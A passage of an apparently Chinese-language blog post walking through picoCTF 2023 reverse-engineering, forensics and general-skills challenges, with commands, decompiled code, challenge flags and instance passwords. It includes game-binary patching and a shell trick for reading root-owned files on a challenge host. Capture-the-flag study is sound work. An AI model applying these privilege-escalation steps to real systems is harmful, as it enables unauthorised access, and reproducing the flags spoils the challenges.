class="comment">// Decompiled by Procyon v0.5.36</span></span><br><span class="line"><span class="comment">// </span></span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">SafeOpener</span></span><br><span class="line">&#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(<span class="keyword">final</span> String[] args)</span> <span class="keyword">throws</span> IOException &#123;</span><br><span class="line">        <span class="keyword">final</span> <span class="type">BufferedReader</span> <span class="variable">keyboard</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">BufferedReader</span>(<span class="keyword">new</span> <span class="title class_">InputStreamReader</span>(System.in));</span><br><span class="line">        <span class="keyword">final</span> Base64.<span class="type">Encoder</span> <span class="variable">encoder</span> <span class="operator">=</span> Base64.getEncoder();</span><br><span class="line">        <span class="type">String</span> <span class="variable">encodedkey</span> <span class="operator">=</span> <span class="string">&quot;&quot;</span>;</span><br><span class="line">        <span class="type">String</span> <span class="variable">key</span> <span class="operator">=</span> <span class="string">&quot;&quot;</span>;</span><br><span class="line">        <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">0</span>; i &lt; <span class="number">3</span>; ++i) &#123;</span><br><span class="line">            System.out.print(<span class="string">&quot;Enter password for the safe: &quot;</span>);</span><br><span class="line">            key = keyboard.readLine();</span><br><span class="line">            encodedkey = encoder.encodeToString(key.getBytes());</span><br><span class="line">            System.out.println(encodedkey);</span><br><span class="line">            <span class="keyword">final</span> <span class="type">boolean</span> <span class="variable">isOpen</span> <span class="operator">=</span> openSafe(encodedkey);</span><br><span class="line">            <span class="keyword">if</span> (isOpen) &#123;</span><br><span class="line">                <span class="keyword">break</span>;</span><br><span class="line">            &#125;</span><br><span class="line">            System.out.println(<span class="string">&quot;You have  &quot;</span> + (<span class="number">2</span> - i) + <span class="string">&quot; attempt(s) left&quot;</span>);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="type">boolean</span> <span class="title function_">openSafe</span><span class="params">(<span class="keyword">final</span> String password)</span> &#123;</span><br><span class="line">        <span class="keyword">final</span> <span class="type">String</span> <span class="variable">encodedkey</span> <span class="operator">=</span> <span class="string">&quot;picoCTF&#123;SAf3_0p3n3rr_y0u_solv3d_it_3dae8463&#125;&quot;</span>;</span><br><span class="line">        <span class="keyword">if</span> (password.equals(encodedkey)) &#123;</span><br><span class="line">            System.out.println(<span class="string">&quot;Sesame open&quot;</span>);</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line">        &#125;</span><br><span class="line">        System.out.println(<span class="string">&quot;Password is incorrect\n&quot;</span>);</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="timer"><a href="#timer" class="headerlink" title="timer"></a>timer</h2><div class="note success flat"><p>AUTHOR: LOIC SHEMA</p><p>Description<br>You will find the flag after analysing this apk<br>Download here.<br><strong>100 Points</strong></p></div><p>這題是個apk檔案的逆向，因為之前逆向過蠻多apk的題目了，所以就直接忽略他的Hint，顯然他的方法有點麻煩XD首先我先用apktool把apk裡面的東西輸出成資料夾：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">$ apktool d timer.apk</span><br><span class="line">I: Using Apktool 2.5.0-dirty on timer.apk</span><br><span class="line">I: Loading resource table...</span><br><span class="line">I: Decoding AndroidManifest.xml with resources...</span><br><span class="line">I: Loading resource table from file: /home/m3t30r/.local/share/apktool/framework/1.apk</span><br><span class="line">I: Regular manifest package...</span><br><span class="line">I: Decoding file-resources...</span><br><span class="line">I: Decoding values */* XMLs...</span><br><span class="line">I: Baksmaling classes.dex...</span><br><span class="line">I: Baksmaling classes3.dex...</span><br><span class="line">I: Baksmaling classes2.dex...</span><br><span class="line">I: Copying assets and libs...</span><br><span class="line">I: Copying unknown files...</span><br><span class="line">I: Copying original files...</span><br></pre></td></tr></table></figure><p>接著利用<code>grep</code>在資料夾裡爆搜<code>pico</code>就能夠找到flag了:P</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">$ grep -r &quot;pico&quot;</span><br><span class="line">apktool.yml:  versionName: picoCTF&#123;t1m3r_r3v3rs3d_succ355fully_17496&#125;</span><br></pre></td></tr></table></figure><h2 id="Virtual-Machine-0"><a href="#Virtual-Machine-0" class="headerlink" title="Virtual Machine 0"></a>Virtual Machine 0</h2><div class="note warning flat"><p>AUTHOR: LT ‘SYREAL’ JONES</p><p>Description<br>Can you crack this black box?<br>We grabbed this design doc from enemy servers: Download. We know that the rotation of the red axle is input and the rotation of the blue axle is output. The following input gives the flag as output: Download.<br><strong>100 Points</strong></p></div><p>這題其實是一個蠻詭異的題目，他給了一個<code>.dae</code>檔案，他是一個3D建模常見的輸出檔案，所以可以用Blender開(要不是平常有在亂玩Blender我根本不知道要怎麼開.w.)。打開之後會發現一個黑盒子：</p><p><img src="https://i.imgur.com/MgLa2mT.png"></p><p>而題目說紅色桿子是輸入，藍色桿子是輸出，那麼我們來看一下裡面的運作吧，把外面的黑盒子部分刪掉之後：</p><p><img src="https://i.imgur.com/ESggklE.png"></p><p>可以發現裡面是樂高齒輪的形狀，有碰過樂高的齒輪就可以很輕易的判斷出紅色的是40齒的齒輪，而藍色和灰色是8齒(或者是也可以慢慢數啦XD)，因此紅色轉1圈時，藍色會轉5圈。這時代入他給我們的input，把他轉成byte形式就可以拿到flag了。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">$ python3</span><br><span class="line">Python 3.10.6 (main, Nov 14 2022, 16:10:14) [GCC 11.3.0] on linux</span><br><span class="line">Type &quot;help&quot;, &quot;copyright&quot;, &quot;credits&quot; or &quot;license&quot; for more information.</span><br><span class="line">&gt;&gt;&gt; from Crypto.Util.number import *</span><br><span class="line">&gt;&gt;&gt; inp=39722847074734820757600524178581224432297292490103996085769154356559546905</span><br><span class="line">&gt;&gt;&gt; long_to_bytes(inp*5)</span><br><span class="line">b&#x27;picoCTF&#123;g34r5_0f_m0r3_c133eae2&#125;&#x27;</span><br></pre></td></tr></table></figure><p>P.S.這題這麼少人解應該是因為不知道<code>.dae</code>到底是什麼XD</p><h2 id="No-way-out"><a href="#No-way-out" class="headerlink" title="No way out"></a>No way out</h2><div class="note warning flat"><p>AUTHOR: KRIS</p><p>Description<br>Put this flag in standard picoCTF format before submitting. If the flag was <code>h1_1m_7h3_f14g</code> submit <code>picoCTF{h1_1m_7h3_f14g}</code> to the platform.<br>Windows game, Mac game<br><strong>200 Points</strong></p></div><p>P.S.今年的reverse都是我有在用的軟體，讚啦</p><p><img src="https://i.imgur.com/A8umM5R.jpg"></p><p>這題是一個unity遊戲，進去之後會有一個第一人稱的Controller，可以亂爬，但是外面的牆擋住了，不讓使用者出去。從題目看起來應該是出去之後就可以拿到flag了，外面也有一個高高的flag在那邊，所以可想而知，要從patch下手。unity本身是一個利用C#控制的程式，所以可以利用dnSpy來逆向，開發者自己編寫的語言會儲存在<code>Assembly-CSharp.dll</code>裡面。用dnSpy打開他：</p><p><img src="https://i.imgur.com/hN9Sl1s.png"></p><p>因為我們是被關住，所以直覺就是往First Person Controller被限制去想，翻一下<code>Player Controller</code>的code可以發現下面這個東西：</p><p><img src="https://i.imgur.com/DX7PBJa.png"></p><p>他的if條件式裡面出現了有關<code>isGrounded</code>的bool判斷，因此想法就是把他patch掉，這樣或許我們就可以不受unity遊戲中牆壁與跳躍的限制。利用dnSpy把if中的<code>isGrounded</code>通通patch掉之後，再次運行遊戲。</p><p><img src="https://i.imgur.com/f6wVKqH.jpg"></p><p>這個時候我們的跳躍限制就解除了，甚至可以飛(?)。然後就會發現飛到flag的頂端之後，flag就會跑出來了XD神奇的設計：）</p><h2 id="Ready-Gladiator-1"><a href="#Ready-Gladiator-1" class="headerlink" title="Ready Gladiator 1"></a>Ready Gladiator 1</h2><div class="note warning flat"><p>AUTHOR: LT ‘SYREAL’ JONES</p><p>Description<br>Can you make a CoreWars warrior that wins?<br>Your opponent is the Imp. The source is available here. If you wanted to pit the Imp against himself, you could download the Imp and connect to the CoreWars server like this:<br><code>nc saturn.picoctf.net 58681 &lt; imp.red</code><br>To get the flag, you must beat the Imp at least once out of the many rounds.<br><strong>200 Points</strong></p></div><p>這題跟前面的類型是一樣的，差別只是在他要求我們至少要贏一次。可想而知又是從<code>imp.red</code>動手腳，而Hint裡面說我們可以在beginner docs裡面找到可用的warrior，所以我們就去<a href="https://vyznev.net/corewar/guide.html">這裡</a>找找看，而在裡面發現了一個Dwarf的模型，馬上來試試看。以下是<code>imp.red</code>的內容：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">$ cat imp.red</span><br><span class="line">;redcode</span><br><span class="line">;name Imp Ex</span><br><span class="line">;assert 1</span><br><span class="line">ADD #4, 3</span><br><span class="line">MOV 2, @2</span><br><span class="line">JMP -2</span><br><span class="line">DAT #0, #4</span><br><span class="line">end</span><br></pre></td></tr></table></figure><p>執行後就可以拿到flag了。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line">$ nc saturn.picoctf.net 58681 &lt; imp.red</span><br><span class="line">;redcode</span><br><span class="line">;name Imp Ex</span><br><span class="line">;assert 1</span><br><span class="line">ADD #4, 3</span><br><span class="line">MOV 2, @2</span><br><span class="line">JMP -2</span><br><span class="line">DAT #0, #4</span><br><span class="line">end</span><br><span class="line">Submit your warrior: (enter &#x27;end&#x27; when done)</span><br><span class="line"></span><br><span class="line">Warrior1:</span><br><span class="line">;redcode</span><br><span class="line">;name Imp Ex</span><br><span class="line">;assert 1</span><br><span class="line">ADD #4, 3</span><br><span class="line">MOV 2, @2</span><br><span class="line">JMP -2</span><br><span class="line">DAT #0, #4</span><br><span class="line">end</span><br><span class="line"></span><br><span class="line">Rounds: 100</span><br><span class="line">Warrior 1 wins: 26</span><br><span class="line">Warrior 2 wins: 0</span><br><span class="line">Ties: 74</span><br><span class="line">You did it!</span><br><span class="line">picoCTF&#123;1mp_1n_7h3_cr055h41r5_441be1fc&#125;</span><br></pre></td></tr></table></figure><h2 id="Virtual-Machine-1"><a href="#Virtual-Machine-1" class="headerlink" title="Virtual Machine 1"></a>Virtual Machine 1</h2><div class="note danger flat"><p>AUTHOR: LT ‘SYREAL’ JONES</p><p>Description<br>The enemy has upgraded their mechanical analog computer. Start an instance to begin.<br>We grabbed this design doc from enemy servers: Download. We know that the rotation of the red axle is input and the rotation of the blue axle is output. Reverse engineer the mechanism and get past their checker program:<br><code>nc saturn.picoctf.net 63883</code><br><strong>300 Points</strong></p></div><p>這一題是剛剛Virtual Machine 0的進階版，其實不難但是非常麻煩，我們一樣用blender打開他：</p><p><img src="https://i.imgur.com/722U5Op.png"></p><p>這次是個複雜到爆炸的齒輪，一樣紅色作為輸入，藍色作為輸出，但中間經過了三個階段的齒輪設計，除了一般齒輪之外中間還安插了一種特別的轉輪。</p><p><img src="https://i.imgur.com/y0yYEr1.png"></p><p>這個東西稱為差速器，是齒輪設計時為了避免轉速不一所設計的物件，當兩邊的輸入轉速不一樣時，這個差速器的輸出轉速將會是$\dfrac{1}{2}($左轉速+右轉速$)$，經由這個理論就能用數的將這個題目完成了，數完的結果會是$output=input\times7\times191\times7=input\times9359$，此時再連進nc輸入結果即可。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">$ nc saturn.picoctf.net 63883</span><br><span class="line">If the input to the machine is 4347, what is the output?</span><br><span class="line">Answer&gt; 40683573</span><br><span class="line">40683573</span><br><span class="line">That&#x27;s correct!</span><br><span class="line">picoCTF&#123;m0r3_g34r5_3g4d_2efa1d52&#125;</span><br></pre></td></tr></table></figure><h2 id="Ready-Gladiator-2"><a href="#Ready-Gladiator-2" class="headerlink" title="Ready Gladiator 2"></a>Ready Gladiator 2</h2><div class="note danger flat"><p>AUTHOR: LT ‘SYREAL’ JONES</p><p>Description<br>Can you make a CoreWars warrior that wins every single round?<br>Your opponent is the Imp. The source is available here. If you wanted to pit the Imp against himself, you could download the Imp and connect to the CoreWars server like this:<br><code>nc saturn.picoctf.net 53774 &lt; imp.red</code><br>To get the flag, you must beat the Imp all 100 rounds.<br><strong>400 Points</strong></p></div><p>這題是這個類別裡我最後解掉的題目，但也是讓我覺得最通靈的題目，這次的要求是要讓我們的warrior 100連勝，這從我們前面的write up看起來幾乎是不可能的事，網路上也沒有相關的文件說明這件事情，因此我決定從基本的指令下手，畢竟picoCTF不太可能讓我們寫一段冗長的redcode(吧)。看看以下這個說明：</p><p><img src="https://i.imgur.com/ZQbNrZc.png"></p><p>再看看Hint說當warrior靠近時，再做一次會進行子程序，一開始我並不知道這個提示究竟想表達什麼.w.但後來對照一下，發現他跟<code>JMP</code>這個指令似乎有密切的關係，<code>JMP</code>代表著跳躍到另一個位置，那我們來試試看這樣是不是能閃躲另一個warrior的攻擊。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">$ cat imp.red</span><br><span class="line">;redcode</span><br><span class="line">;name Imp Ex</span><br><span class="line">;assert 1</span><br><span class="line">jmp 0, 3</span><br><span class="line">end</span><br></pre></td></tr></table></figure><p>試了好幾種方法，似乎還是拿不到flag，但後來又<a href="https://corewar-docs.readthedocs.io/en/latest/redcode/opcodes/#jmp-jump">在這裡</a>發現了Addressing Modes的東西，亂試了一下，發現試了一輪還是不行。後來過了幾天異想天開，想說負數不知道可不可以，結果亂試了一下，就中了OAO打picoCTF果然需要一點通靈.w.</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line">$ nc saturn.picoctf.net 52306 &lt; imp.red</span><br><span class="line">;redcode</span><br><span class="line">;name Imp Ex</span><br><span class="line">;assert 1</span><br><span class="line">jmp 0, &lt;-3</span><br><span class="line">end</span><br><span class="line">Submit your warrior: (enter &#x27;end&#x27; when done)</span><br><span class="line"></span><br><span class="line">Warrior1:</span><br><span class="line">;redcode</span><br><span class="line">;name Imp Ex</span><br><span class="line">;assert 1</span><br><span class="line">jmp 0, &lt;-3</span><br><span class="line">end</span><br><span class="line"></span><br><span class="line">Rounds: 100</span><br><span class="line">Warrior 1 wins: 100</span><br><span class="line">Warrior 2 wins: 0</span><br><span class="line">Ties: 0</span><br><span class="line">You did it!</span><br><span class="line">picoCTF&#123;d3m0n_3xpung3r_9a074a57&#125;</span><br></pre></td></tr></table></figure><h1 id="Forensics"><a href="#Forensics" class="headerlink" title="Forensics"></a>Forensics</h1><p>這個類別一直以來都是picoCTF中數一數二通靈的，今年也不例外。但其實題目素質有變好，不過我沒解出的兩題真的太通了，完全通不到= =只能說沒有靈異體質千萬不要打CTF(X</p><h2 id="hideme"><a href="#hideme" class="headerlink" title="hideme"></a>hideme</h2><div class="note success flat"><p>AUTHOR: GEOFFREY NJOGU</p><p>Description<br>Every file gets a flag.<br>The SOC analyst saw one image been sent back and forth between two people. They decided to investigate and found out that there was more than what meets the eye here.<br><strong>100 Points</strong></p></div><p>這題是個簡單的圖片隱寫術，給了一張picoCTF的logo，用一些工具簡單處理一下，可以發現一點端倪。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">$ binwalk flag.png</span><br><span class="line"></span><br><span class="line">DECIMAL       HEXADECIMAL     DESCRIPTION</span><br><span class="line">--------------------------------------------------------------------------------</span><br><span class="line">0             0x0             PNG image, 512 x 504, 8-bit/color RGBA, non-interlaced</span><br><span class="line">41            0x29            Zlib compressed data, compressed</span><br><span class="line">39739         0x9B3B          Zip archive data, at least v1.0 to extract, name: secret/</span><br><span class="line">39804         0x9B7C          Zip archive data, at least v2.0 to extract, compressed size: 2869, uncompressed size: 3024, name: secret/flag.png</span><br><span class="line">42908         0xA79C          End of Zip archive, footer length: 22</span><br></pre></td></tr></table></figure><p>裡面有個zip，用工具解出來之後就能看到flag了。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">$ foremost flag.png</span><br><span class="line">Processing: flag.png</span><br><span class="line">|foundat=secret/UT</span><br><span class="line">foundat=secret/flag.pngUT</span><br><span class="line">*|</span><br></pre></td></tr></table></figure><p><img src="https://i.imgur.com/Bqt5Xkw.png"></p><h2 id="PcapPoisoning"><a href="#PcapPoisoning" class="headerlink" title="PcapPoisoning"></a>PcapPoisoning</h2><div class="note success flat"><p>AUTHOR: MUBARAK MIKAIL</p><p>Description<br>How about some hide and seek heh?<br>Download this file and find the flag.<br><strong>100 Points</strong></p></div><p>這題我也覺得很爛，我用wireshark在那邊分析了pcap半天，也沒分析出什麼東西，還有一堆奇怪的host，結果<code>strings</code>一下就找到了= =</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">$ strings trace.pcap | grep pico</span><br><span class="line">picoCTF&#123;P64P_4N4L7S1S_SU55355FUL_31010c46&#125;F~</span><br></pre></td></tr></table></figure><h2 id="who-is-it"><a href="#who-is-it" class="headerlink" title="who is it"></a>who is it</h2><div class="note success flat"><p>AUTHOR: JUNIAS BONOU</p><p>Description<br>Someone just sent you an email claiming to be Google’s co-founder Larry Page but you suspect a scam.<br>Can you help us identify whose mail server the email actually originated from?<br>Download the email file here. Flag: <code>picoCTF{FirstnameLastname}</code><br><strong>100 Points</strong></p></div><p>這題其實算是個簡單的OSINT，題目給了一個<code>.eml</code>檔，要查出是誰的server寄發了這份郵件。首先先用線上工具分析一下裡面的內容。</p><p><img src="https://i.imgur.com/w83VghY.png"></p><p>可以很清楚的看到他的IP，題目又說whois很好用，那當然是用來試試看囉，打完之後就可以看到我們要的東西了。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">$ whois 173.249.33.206</span><br><span class="line"></span><br><span class="line">#</span><br><span class="line"># ARIN WHOIS data and services are subject to the Terms of Use</span><br><span class="line">...</span><br><span class="line"></span><br><span class="line">person:         Wilhelm Zwalina</span><br><span class="line">...</span><br></pre></td></tr></table></figure><h2 id="FindAndOpen"><a href="#FindAndOpen" class="headerlink" title="FindAndOpen"></a>FindAndOpen</h2><div class="note success flat"><p>AUTHOR: MUBARAK MIKAIL</p><p>Description<br>Someone might have hidden the password in the trace file.<br>Find the key to unlock this file. This tracefile might be good to analyze.<br><strong>100 Points</strong></p></div><p>這題其實也蠻通靈的，一樣是pcap分析不出什麼東西，然後用<code>strings</code>就找到了一個像base64的東西，但輸進去之後卻轉不出來，原因是因為填充位數不對，因此在前面多加幾個字元就能看到secret。</p><p><img src="https://i.imgur.com/0Q3YB0k.png"></p><p>用這個secret就能打開zip獲得完整的flag了。</p><p><img src="https://i.imgur.com/5uiig6S.png"></p><h2 id="MSB"><a href="#MSB" class="headerlink" title="MSB"></a>MSB</h2><div class="note warning flat"><p>AUTHOR: LT ‘SYREAL’ JONES</p><p>Description<br>This image passes LSB statistical analysis, but we can’t help but think there must be something to the visual artifacts present in this image…<br>Download the image here<br><strong>200 Points</strong></p></div><p>這題題目都說是MSB了，那當然就是用MSB的方法解囉～stegsolve馬上打開來試試。</p><p><img src="https://i.imgur.com/iCPzgB6.png"></p><p>結果在RGB全開的情況下獲得了明文，把txt檔載下來之後搜尋<code>pico</code>即可找到flag。</p><p><img src="https://i.imgur.com/uhZQqLr.png"></p><h1 id="General-Skills"><a href="#General-Skills" class="headerlink" title="General Skills"></a>General Skills</h1><blockquote><p>CLEAR</p></blockquote><p>這個類別是我第二個破台的類別，今年的General Skills比往年都難，開始有接近一般MISC的感覺了，一起來看看怎麼解這些看似最簡單的題目吧XD</p><h2 id="chrono"><a href="#chrono" class="headerlink" title="chrono"></a>chrono</h2><div class="note success flat"><p>AUTHOR: MUBARAK MIKAIL</p><p>Description<br>How to automate tasks to run at intervals on linux servers?<br>Additional details will be available after launching your challenge instance.<br><strong>100 Points</strong></p></div><p>這題其實應該算是出爛了，ssh連進去之後往根目錄裡面的<code>/challenge/metadata.json</code>就可以找到flag。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">$ ssh picoplayer@saturn.picoctf.net -p 49904</span><br><span class="line">picoplayer@saturn.picoctf.net&#x27;s password:</span><br><span class="line">Welcome to Ubuntu 20.04.5 LTS (GNU/Linux 5.15.0-1031-aws x86_64)</span><br><span class="line"></span><br><span class="line"> * Documentation:  https://help.ubuntu.com</span><br><span class="line"> * Management:     https://landscape.canonical.com</span><br><span class="line"> * Support:        https://ubuntu.com/advantage</span><br><span class="line"></span><br><span class="line">This system has been minimized by removing packages and content that are</span><br><span class="line">not required on a system that users do not log into.</span><br><span class="line"></span><br><span class="line">To restore this content, you can run the &#x27;unminimize&#x27; command.</span><br><span class="line">Last login: Thu Mar 30 05:11:26 2023 from 114.36.17.55</span><br><span class="line">picoplayer@challenge:~$ cat /challenge/metadata.json</span><br><span class="line">&#123;&quot;flag&quot;: &quot;picoCTF&#123;Sch3DUL7NG_T45K3_L1NUX_7754e199&#125;&quot;, &quot;username&quot;: &quot;picoplayer&quot;, &quot;password&quot;: &quot;a-8nJGZCTa&quot;&#125;</span><br></pre></td></tr></table></figure><h2 id="money-ware"><a href="#money-ware" class="headerlink" title="money-ware"></a>money-ware</h2><div class="note success flat"><p>AUTHOR: JUNI19</p><p>Description<br>Flag format: picoCTF{Malwarename}<br>The first letter of the malware name should be capitalized and the rest lowercase.<br>Your friend just got hacked and has been asked to pay some bitcoins to <code>1Mz7153HMuxXTuR2R1t78mGSdzaAtNbBWX</code>. He doesn’t seem to understand what is going on and asks you for advice. Can you identify what malware he’s being a victim of?<br><strong>100 Points</strong></p></div><p>這題是簡單的OSINT，上網找一下那串奇怪的編碼就能找到那個malware的名字了。</p><p><img src="https://i.imgur.com/cRgTioD.png"></p><h2 id="Permissions"><a href="#Permissions" class="headerlink" title="Permissions"></a>Permissions</h2><div class="note success flat"><p>AUTHOR: GEOFFREY NJOGU</p><p>Description<br>Can you read files in the root file?<br>Additional details will be available after launching your challenge instance.<br><strong>100 Points</strong></p></div><p>這題需要一點通靈，因為我們原本的使用者是<code>picoplayer</code>，所以沒有讀取flag的權限，但我們可以動一點小手腳，像是<code>/bin/sh</code>等，這樣可以讓我們用root權限讀取任何檔案，也就能成功得到flag。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">$ ssh -p 55977 picoplayer@saturn.picoctf.net</span><br><span class="line">picoplayer@saturn.picoctf.net&#x27;s password:</span><br><span class="line">Welcome to Ubuntu 20.04.5 LTS (GNU/Linux 5.15.0-1031-aws x86_64)</span><br><span class="line"></span><br><span class="line"> * Documentation:  https://help.ubuntu.com</span><br><span class="line"> * Management:     https://landscape.canonical.com</span><br><span class="line"> * Support:        https://ubuntu.com/advantage</span><br><span class="line"></span><br><span class="line">This system has been minimized by removing packages and content that are</span><br><span class="line">not required on a system that users do not log into.</span><br><span class="line"></span><br><span class="line">To restore this content, you can run the &#x27;unminimize&#x27; command.</span><br><span class="line">Last login: Thu Mar 30 05:27:26 2023 from 114.36.17.55</span><br><span class="line">picoplayer@challenge:~$ /bin/sh</span><br><span class="line">$ cat /challenge/metadata.json</span><br><span class="line">&#123;&quot;flag&quot;: &quot;picoCTF&#123;uS1ng_v1m_3dit0r_021d10ab&#125;&quot;, &quot;username&quot;: &quot;picoplayer&quot;, &quot;password&quot;: &quot;dLAqMvm7xv&quot;&#125;</span><br></pre></td></tr></table></figure><h2 id="repetitions"><a href="#repetitions" class="headerlink" title="repetitions"></a>repetitions</h2><div class="note success flat"><p>AUTHOR: THEONESTE BYAGUTANGAZA</p><p>Description<br>Can you make sense of this file?<br>Download the file here.<br><strong>100 Points</strong></p></div><p>這題很明顯是base64編碼，看題目應該是編碼了不少次，所以把他拉到CyberChef裡面試試看多次解碼就可以得到flag了。</p><p><img src="https://i.imgur.com/0vjDFin.png"></p><p>P.S. 看起來是被編碼了6次.w.</p><h2 id="useless"><a href="#useless" class="headerlink" title="useless"></a>useless</h2><div class="note warning flat"><p>AUTHOR: LOIC SHEMA</p><p>Description<br>There’s an interesting script in the user’s home directory<br>Additional details will be available after launching your challenge instance.<br><strong>100 Points</strong></p></div><p>這題其實我還是搞不懂他到底是在幹嘛，一開始他給了一個sh檔案，看起來是個簡單計算機。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br></pre></td><td class="code"><pre><span class="line">$ ssh picoplayer@saturn.picoctf.net -p 64196</span><br><span class="line">picoplayer@saturn.picoctf.net&#x27;s password:</span><br><span class="line">Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.15.0-1031-aws x86_64)</span><br><span class="line"></span><br><span class="line"> * Documentation:  https://help.ubuntu.com</span><br><span class="line"> * Management:     https://landscape.canonical.com</span><br><span class="line"> * Support:        https://ubuntu.com/advantage</span><br><span class="line">Last login: Thu Mar 30 07:37:22 2023 from 114.36.17.55</span><br><span class="line">picoplayer@challenge:~$ ls</span><br><span class="line">useless</span><br><span class="line">picoplayer@challenge:~$ cat useless</span><br><span class="line">#!/bin/bash</span><br><span class="line"># Basic mathematical operations via command-line arguments</span><br><span class="line"></span><br><span class="line">if [ $# != 3 ]</span><br><span class="line">then</span><br><span class="line">  echo &quot;Read the code first&quot;</span><br><span 